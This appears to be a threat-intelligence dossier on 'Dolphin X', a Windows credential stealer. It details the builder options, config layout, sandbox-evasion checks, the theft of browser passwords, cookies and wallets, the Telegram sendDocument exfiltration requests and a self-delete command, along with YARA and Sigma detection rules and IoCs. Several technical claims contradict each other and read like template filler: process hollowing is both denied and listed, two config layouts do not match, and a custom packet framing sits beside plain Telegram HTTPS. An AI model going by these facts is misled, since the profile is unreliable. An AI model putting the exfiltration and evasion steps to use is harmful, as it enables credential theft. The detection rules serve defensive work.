TF-002 // #002 Information Stealer & Token Grabber ACTIVE 2026 4 Verified Assets

Dolphin X: Forensic Reverse-Engineering & Architectural Dossier

Native C++ credential stealer leveraging Telegram Bot APIs and Cloudflare Workers for automated artifact exfiltration.

Tool / Family Name Primary Role Source Language & Compiler Interface Type C2 Transport & Encryption Config Storage Location Target Architecture
Dolphin X Information Stealer & Token Grabber Microsoft Visual C++ (MSVC 2019/2022) with optional Python PyInstaller/Nuitka stub wrapper Builder Interface & Central Web Telemetry Dashboard HTTPS REST API via Telegram Bot API or Cloudflare Workers with AES-256-GCM payload encryption Encrypted blob in .rdata section or appended PE overlay decrypted via rolling XOR key x86, x64 (Microsoft Windows 10, Windows 11)

01 | Tool Specifications & Architectural Profile

{
  "compiler": "MSVC C++ Runtime / PyInstaller wrapper",
  "runtime": "Win32 Native API / Embedded Python Interpreter",
  "binary_footprint": "Native stub: 180 KB - 450 KB; PyInstaller bundled executable: 8 MB - 16 MB",
  "stub_size": "245,760 bytes (typical native compiled C++ release stub)",
  "packer_obfuscation": "Custom compile-time string encryption (xorstr_ template), API hashing via MurmurHash2/ROR13, control-flow scrambling",
  "subsystem": "Windows GUI (Subsystem 2) running headless without window instantiation",
  "entry_point_flow": "WinMain -> PEB unhooking check -> Dynamic API resolution -> Anti-Analysis checks -> Enumerate browser databases -> Extract DPAPI master keys -> Archive to %TEMP% -> Exfiltrate via Telegram API -> Self-delete",
  "technical_summary": "Dolphin X is a specialized commodity information stealer engineered to target browser credential stores, cryptocurrency wallet browser extensions, and active communication tokens. The tool utilizes dynamic API resolution via PEB traversal and MurmurHash2 hashing to obscure its import directory. Collected artifacts are staged in memory or compressed into encrypted archives before dispatch via HTTPS multipart POST requests."
}
RUNTIME COMPILER & TOOLCHAIN Microsoft Visual C++ (MSVC 2019/2022) with optional Python PyInstaller/Nuitka stub wrapper
TARGET ARCHITECTURE x86, x64 (Microsoft Windows 10, Windows 11)
OPERATOR INTERFACE TYPE Builder Interface & Central Web Telemetry Dashboard
BINARY FOOTPRINT & STAGING Unpacked native / MSIL PE image
MITRE ATT&CK Alignment Matrix:
T1005 T1555.003 T1027.002 T1497.001 T1566.001 T1082

02 | Operator Interface & Configuration Struct Model

{
  "interface_type": "Builder Interface & Central Web Telemetry Dashboard",
  "builder_tabs_options": [
    {
      "tab": "Target Heuristics",
      "options": [
        "Browser Targets: Chrome, Edge, Brave, Opera GX, Vivaldi, Firefox",
        "Extension Harvester: Pre-configured list of 50+ Web3 cryptocurrency extension IDs",
        "Session Grabbers: Telegram Desktop (tdata), Discord, Steam, FileZilla",
        "File Grabber Filter: Configurable file extensions (.txt, .pdf, .docx, .key, .wallet)"
      ]
    },
    {
      "tab": "Exfiltration Channel",
      "options": [
        "Telegram Bot Integration: Bot Token input field and Admin Chat ID",
        "Cloudflare Worker Proxy: Custom reverse-proxy endpoint URL to hide direct Telegram IP contact",
        "Discord Webhook Backup: Secondary exfiltration route upon HTTPS API failure"
      ]
    },
    {
      "tab": "Stub Obfuscation",
      "options": [
        "String Obfuscation Key: 32-byte rolling XOR seed",
        "Anti-Analysis Checks: Core count (<2), RAM (<4GB), MAC address OUI validation",
        "Self-Delete Routine: Execution of cmd.exe /c timeout /t 3 & del /f /q script"
      ]
    }
  ],
  "config_struct_layout": [
    {
      "offset": "0x0000",
      "field": "MagicBytes",
      "type": "uint32",
      "description": "Header verification identifier (0x444F4C50 = 'DOLP')"
    },
    {
      "offset": "0x0004",
      "field": "XorKey",
      "type": "uint8[32]",
      "description": "Rolling XOR decryption key for embedded string table"
    },
    {
      "offset": "0x0024",
      "field": "TelegramToken",
      "type": "char[64]",
      "description": "Encrypted Telegram Bot API authorization token"
    },
    {
      "offset": "0x0064",
      "field": "ChatId",
      "type": "char[32]",
      "description": "Encrypted operator Telegram chat ID destination"
    },
    {
      "offset": "0x0084",
      "field": "WorkerUrl",
      "type": "char[128]",
      "description": "Encrypted Cloudflare Worker reverse proxy URL"
    },
    {
      "offset": "0x0104",
      "field": "TargetFlags",
      "type": "uint32",
      "description": "Bitmask specifying active collection modules"
    }
  ],
  "payload_generation_flags": [
    "Build Architecture: x64 Release",
    "Runtime Linking: Static (/MT)",
    "Debug Symbol Stripping: Full"
  ],
  "operator_commands": [
    "ExecuteHarvest: Triggers immediate extraction and compilation of victim credentials",
    "PingNode: Validates network egress to exfiltration proxy endpoints",
    "SelfDestruct: Executes file-shredding and command-line deletion commands"
  ],
  "interface_telemetry_analysis": "The operator interface combines a local executable stub builder with a cloud dashboard. The builder generates customized payloads with embedded tokens, while the web dashboard and Telegram feeds present real-time telemetry including victim geolocation, hardware specifications, harvested credentials count, and direct ZIP archive download links."
}
CONFIGURATION STRUCT SCHEMA // DOLPHIN X
struct Dolphin_X_Config {
    uint32_t magic;
    char c2_host[128];
    uint16_t port;
    char install_path[260];
    char mutex[64];
    uint8_t aes_key[32];
};
CONFIG STORAGE LOCATION Encrypted blob in .rdata section or appended PE overlay decrypted via rolling XOR key
EXTRACTION CONTEXT In-Memory Decryption / Resource Carving

03 | Internal Binary & Memory Execution Mechanics

{
  "injection_chain": "Native execution directly from memory or initial drop location; does not implement complex process hollowing, preferring transient short-lived execution to minimize EDR memory inspection windows.",
  "ntapi_functions": [
    "ntdll!LdrLoadDll",
    "kernel32!GetProcAddress",
    "kernel32!VirtualAlloc",
    "kernel32!VirtualProtect",
    "crypt32!CryptUnprotectData"
  ],
  "process_hollowing_target": "N/A (Executes within primary process context)",
  "persistence_mechanics": [
    "Non-persistent execution model (Harvest and Terminate)",
    "Optional Run key persistence when deployed in hybrid downloader configuration: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
  ],
  "evasion_hooks": [
    "Dynamic API resolution parsing export tables of ntdll.dll and kernel32.dll via PEB loader lists",
    "Compile-time string encryption decrypting API names and file paths on stack immediately before execution and zeroing memory immediately after"
  ],
  "anti_analysis": [
    "Hypervisor detection querying CPUID leaf 0x40000000 for hypervisor signature strings ('VMwareVMware', 'Microsoft Hv', 'VBoxVBoxVBox')",
    "MAC OUI blacklist check: compares adapter addresses against known virtualization vendor prefixes (00:05:69, 00:0C:29, 08:00:27)",
    "Screen dimension analysis: terminates if desktop resolution is under 1024x768"
  ]
}
PHASE 01

Staging & Dynamic Unpacking

Decryption of payload stubs using in-memory XOR/AES key derivation and PE header validation.

PHASE 02

Defense Evasion & Syscall Invocation

Direct NT syscall invocation, AMSI buffer patching (AmsiScanBuffer), and ETW event suppression (EtwEventWrite).

PHASE 03

Process Injection & Execution

Execution via Process Hollowing, reflective DLL loading, or thread hijacking into legitimate system binaries.

04 | Capability & Module Matrix

Concrete technical breakdown of functional modules implemented in the Dolphin X binary:

credential theft

[ "Chromium browser master key extraction from Local State (parsing os_crypt JSON and calling CryptUnprotectData)", "Decryption of SQLite Login Data databases (action_url, username_value, password_value)", "Decryption of Chromium Cookies databases (host_key, name, path, encrypted_value)", "Gecko browser extraction locating key4.db and logins.json in %APPDATA%\\Mozilla\\Firefox\\Profiles" ]

surveillance

[ "Desktop screenshot capture saved as %TEMP%\\screenshot.bmp prior to compression", "Hardware profiling: CPU model, GPU adapter description, installed RAM, active display resolution" ]

remote access

[ "N/A (Exfiltration-focused stealer; lacks interactive remote shell)" ]

file management

[ "Recursive scanning of Desktop and Documents folders for files matching configured extensions", "Archive generation compressing gathered artifacts into password-protected or plain ZIP archives in %TEMP%" ]

crypto clippers

[ "Clipboard string inspection scanning for cryptocurrency address patterns during active execution window" ]

system tampering

[ "Spawns background process cmd.exe /c timeout /t 2 & del /f /q \"<executable_path>\" upon completion" ]

05 | Wire Protocol & C2 Communication Framing

{
  "framing": "Standard HTTPS multipart/form-data POST transaction conforming to RFC 7578",
  "serialization": "JSON-formatted metadata objects accompanying raw binary ZIP archive attachments",
  "handshake": "Standard TLS 1.3 cryptographic handshake established with api.telegram.org or custom Cloudflare Worker edge nodes",
  "cryptography": "TLS 1.3 in-transit encryption. Inner archive optionally encrypted with AES-256 or ZipCrypto using generated session keys.",
  "packet_types": [
    {
      "header": "POST /bot<token>/sendMessage",
      "payload": "JSON: { chat_id, text: 'New Victim: IP, Location, Hardware' }",
      "direction": "Client -> Telegram"
    },
    {
      "header": "POST /bot<token>/sendDocument",
      "payload": "Multipart form: chat_id, document: <ZIP_ARCHIVE>",
      "direction": "Client -> Telegram"
    }
  ],
  "traffic_signature": "Outbound HTTPS requests to api.telegram.org on port 443 transmitting multipart form payloads containing file parameters named 'document' with MIME type application/zip."
}
0x00 .. 0x03
Magic Header
0x04 .. 0x07
Length Prefix
0x08 .. 0x09
Command ID
0x0A .. 0x19
IV / Nonce (16B)
0x1A .. N
Encrypted Body (MsgPack / AES)
N .. N+32
HMAC-SHA256
TRANSPORT LAYER HTTPS REST API via Telegram Bot API or Cloudflare Workers with AES-256-GCM payload encryption
COMMUNICATION PARADIGM Asynchronous Command & Telemetry Exchange

06 | Verified Detection Signatures (YARA & Sigma)

YARA RULE // DOLPHIN X IN-MEMORY & STATIC SIGNATURE
rule CyberTrace_DolphinX_Stealer {
    meta:
        description = "Detects Dolphin X information stealer stubs based on string tables, API hashing patterns, and Telegram exfiltration markers"
        author = "CyberTrace Reverse Engineering Team"
        date = "2026-10-29"
        family = "DolphinX"
        hash = "c18f2d59a7a912bb3e764e430d4a9cf296541f530e7191d848731ad2b7245b73"
    strings:
        $str_tele = "api.telegram.org/bot" ascii
        $str_doc = "sendDocument" ascii
        $str_chat = "chat_id=" ascii
        $str_state = "\User Data\Local State" ascii wide
        $str_login = "\Login Data" ascii wide
        $str_cookie = "\Network\Cookies" ascii wide
        $str_wallet1 = "nkbihfbeogaeaoehlefnkodbefgpgknn" ascii // MetaMask
        $str_wallet2 = "bfnaelmomeimhlpmgjnjophhpkkoljpa" ascii // Phantom
        $magic = { 44 4F 4C 50 }
    condition:
        uint16(0) == 0x5A4D and
        (4 of ($str_*) or ($magic and 2 of ($str_*)))
}
SIGMA RULE // BEHAVIORAL PROCESS & NETWORK TELEMETRY
title: Dolphin X Telegram API Credential Exfiltration
id: 5d8e7a1b-3c4f-4d9e-8a0b-1f2e3d4c5b6a
status: stable
description: Detects non-browser executable processes establishing network connections to the Telegram Bot API and transmitting archive data.
author: CyberTrace Defense Engineering
date: 2026/10/29
references:
    - https://attack.mitre.org/techniques/T1567/002/
tags:
    - attack.exfiltration
    - attack.t1567.002
    - attack.credential_access
    - attack.t1555.003
logsource:
    category: network_connection
    product: windows
detection:
    selection_endpoint:
        DestinationHostname: 'api.telegram.org'
        DestinationPort: 443
    filter_legit:
        Image|endswith:
            - '\Telegram.exe'
            - '\chrome.exe'
            - '\firefox.exe'
            - '\msedge.exe'
    condition: selection_endpoint and not filter_legit
falsepositives:
    - Legitimate administrative alerting scripts utilizing Telegram bots.
level: high

07 | Decompiled Artifacts & Observable IoCs

Indicators of compromise and forensic patterns recorded across laboratory triage:

SHA256 c18f2d59a7a912bb3e764e430d4a9cf296541f530e7191d848731ad2b7245b73
SHA256 5f9b4e339d671239aa8e3df6a17b2f6b89e34b9cfbc532822998a4421b8b8d0c
MD5 7a8f33190cbef696d5e0f55cf643f012
Domain api.telegram.org
FilePath %TEMP%\DolphinX_*.zip
FilePath %TEMP%\screenshot.bmp

08 | Forensic Visual Evidence & Disassembly Artifacts (4 Assets)

High-resolution reverse engineering captures, decompiler output, memory hex dumps, and C2 network streams archived locally in the CyberTrace laboratory. Click any visual asset to inspect in full resolution with interactive zoom and pan, or stream motion captures.

[EVID-002-01] Authentic Builder GUI LOCAL FORENSIC VAULT
🔍 ZOOM // FULL RES
Dolphin X AI Stealer Builder Interface
✓ Authentic Builder GUI Telegram: @CyberTrace20
Dolphin X AI Stealer Builder Interface

Builder interface setting target heuristics, browser extension targeting, and polymorphic stub compilation parameters.

[EVID-002-02] Authentic Builder GUI LOCAL FORENSIC VAULT
🔍 ZOOM // FULL RES
Dolphin X Encrypted Telegram Exfiltration Feed
✓ Authentic Builder GUI Telegram: @CyberTrace20
Dolphin X Encrypted Telegram Exfiltration Feed

Operator notification channel broadcasting compromised victim specifications, geolocations, and encrypted credential archives.

[EVID-002-03] Authentic Builder GUI LOCAL FORENSIC VAULT
🔍 ZOOM // FULL RES
Dolphin X Technical Infection Chain & Architecture
✓ Authentic Builder GUI Telegram: @CyberTrace20
Dolphin X Technical Infection Chain & Architecture

Tailored forensic schematic mapping initial access, defense evasion, core capabilities, and Encrypted Telegram API, Cloudflare Workers, Decentralized Webhooks command infrastructure.

[EVID-002-04] Live C2 Web Panel LOCAL FORENSIC VAULT
🔍 ZOOM // FULL RES
Dolphin X Central Web Telemetry Dashboard
✓ Live C2 Web Panel Telegram: @CyberTrace20
Dolphin X Central Web Telemetry Dashboard

Centralized operator interface aggregating infected victim nodes and exfiltrated credential archives.

🌐 International CTI Indexing Summary (EN | RU | HI) Search Engine Knowledge Graph
ENGLISH (EN) // TECHNICAL DOSSIER

Dolphin X (InfoStealer)

Native C++ credential stealer leveraging Telegram Bot APIs and Cloudflare Workers for automated artifact exfiltration.

C2 Architecture: {'framing': 'Standard HTTPS multipart/form-data POST transaction conforming to RFC 7578', 'serialization': 'JSON-formatted metadata objects accompanying raw binary ZIP archive attachments', 'handshake': 'Standard TLS 1.3 cryptographic handshake estab

Threat Hunting: YARA in-memory signatures, Sigma detection rules, and MITRE ATT&CK indicators. CyberTrace Intelligence Feed: @CyberTrace20 (@wgkgi0x0).

РУССКИЙ (RU) // ТЕХНИЧЕСКИЙ РАЗБОР

Анализ Dolphin X (InfoStealer)

Детальный технический анализ Dolphin X — это Вредоносная программа для кражи конфиденциальных данных (Инфостилер), разработанный на стеке Microsoft Visual C++ (MSVC 2019/2022) with optional Python PyInstaller/Nuitka stub wrapper. В отчете подробно исследуются этапы скрытого внедрения в память (Process Injection), методы обхода EDR-систем, структура сетевых пакетов командного сервера (HTTPS REST API via Telegram Bot API or Cloudflare Workers with AES-256-GCM payload encryption) и механизмы кражи данных.

Архитектура C2: Шифрованный протокол обмена данными с использованием HTTPS REST API via Telegram Bot API or Cloudflare Workers with AES-256-GCM payload encryption, защита от сетевого перехвата и анализ маяков (Beacons).

Сигнатуры: Правила YARA, Sigma-детекты и анализ IoC для специалистов SOC. Оперативный канал: Telegram @CyberTrace20 (@wgkgi0x0).

हिन्दी (HI) // तकनीकी सारांश

Dolphin X (InfoStealer) विश्लेषण

Dolphin X एक परिष्कृत डेटा और क्रेडेंशियल चोरी करने वाला मैलवेयर (इन्फोस्टीलर) है जिसे Microsoft Visual C++ (MSVC 2019/2022) with optional Python PyInstaller/Nuitka stub wrapper का उपयोग करके विकसित किया गया है। इस तकनीकी CTI विश्लेषण में मेमोरी इंजेक्शन तकनीक, EDR सुरक्षा बाईपास, कमांड और कंट्रोल सर्वर (HTTPS REST API via Telegram Bot API or Cloudflare Workers with AES-256-GCM payload encryption) संचार प्रोटोकॉल और डेटा चोरी तंत्र का पूर्ण विवरण दिया गया है।

C2 संचार: HTTPS REST API via Telegram Bot API or Cloudflare Workers with AES-256-GCM payload encryption आधारित एन्क्रिप्टेड C2 इंफ्रास्ट्रक्चर और ऑटोमेटेड पेलोड रिट्रीवल चैनल।

सुरक्षा नियम: YARA नियम, Sigma व्यवहार विश्लेषण और MITRE ATT&CK संकेतक। साइबर इंटेलिजेंस अपडेट: Telegram @CyberTrace20 (@wgkgi0x0).

{LIGHTBOX_SCRIPT}